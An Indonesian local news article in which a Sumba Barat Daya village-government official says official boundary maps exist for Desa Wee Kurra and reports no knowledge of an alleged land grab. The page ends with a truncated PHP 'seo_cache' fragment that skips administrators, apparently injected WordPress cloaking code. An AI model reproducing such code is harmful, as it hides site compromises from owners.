Berita Desa

Kabid Pemdes Dinas PMD Kabupaten SBD, Victor Suryadi Beleko, SH : Sudah Ada Peta Batas Resmi Antara Desa Wee Kurra dan Wilayah Desa Tetangga

×

Kabid Pemdes Dinas PMD Kabupaten SBD, Victor Suryadi Beleko, SH : Sudah Ada Peta Batas Resmi Antara Desa Wee Kurra dan Wilayah Desa Tetangga

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Peta batas resmi untuk setiap wilayah desa di Kabupaten Sumba Barat Daya sudah ditetapkan.

Hal ini dimaksudkan untuk menciptakan tertib administrasi pemerintahan desa, memberikan kejelasan dan kepastian hukum terkait batas wilayah suatu desa, serta mencegah terjadinya konflik batas desa.

Pernyataan ini disampaikan Kepala Bidang Pemerintahan Desa, Dinas Pemberdayaan Masyarakat dan Desa Kabupaten SBD, Victor Suryadi Beleko, SH saat dikonfirmasi perihal penyerobotan lahan warga Eru Naga di Desa Wee Kurra, Kecamatan Wewewa Barat.

“Sudah ada peta batas resmi antara Desa Wee Kurra dengan wilayah desa lain di sekitarnya, dimana penetapan dan penegasan batas desa yang resmi memiliki beberapa tujuan penting,” jelasnya kepada media ini, Selasa (19/08/2025).

Peta batas desa yang jelas dan resmi, kata dia, membantu dalam pengelolaan administrasi desa yang lebih baik, termasuk dalam hal pendataan penduduk, pengelolaan aset desa, dan perencanaan pembangunan.

Ia menyebut, batas desa yang ditetapkan secara resmi memberi kepastian hukum bagi warga desa dan pihak-pihak terkait mengenai wilayah desa yang sah.

“Sehingga meminimalkan potensi sengketa batas wilayah,” imbuhnya.

Dengan adanya batas desa yang jelas, potensi konflik antardesa atau antara desa dengan wilayah lain dapat diminimalkan, karena batas wilayah sudah terdefinisi secara resmi dan disepakati bersama.

Peta batas desa yang akurat, katanya lebih lanjut, menjadi dasar yang penting dalam perencanaan pembangunan desa.

“Termasuk dalam hal alokasi anggaran, pembangunan infrastruktur, dan pengembangan potensi wilayah,” tambahnya.

Peta batas desa yang resmi juga memberikan kepastian hukum bagi pihak ketiga, seperti investor atau pelaku bisnis, dalam melakukan kegiatan usaha di wilayah desa.

Secara keseluruhan, penetapan peta batas desa yang resmi merupakan langkah penting dalam menciptakan tata kelola pemerintahan desa yang baik, serta menjamin stabilitas dan kepastian hukum dalam pengelolaan wilayah desa.

Kendati demikian, pihaknya belum memperoleh informasi terkait adanya penyerobotan lahan warga Eru Naga di Desa Wee Kurra oleh oknum warga desa tetangga.

“Kami belum tahu karena tidak mendapat informasi tentang persoalan itu,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>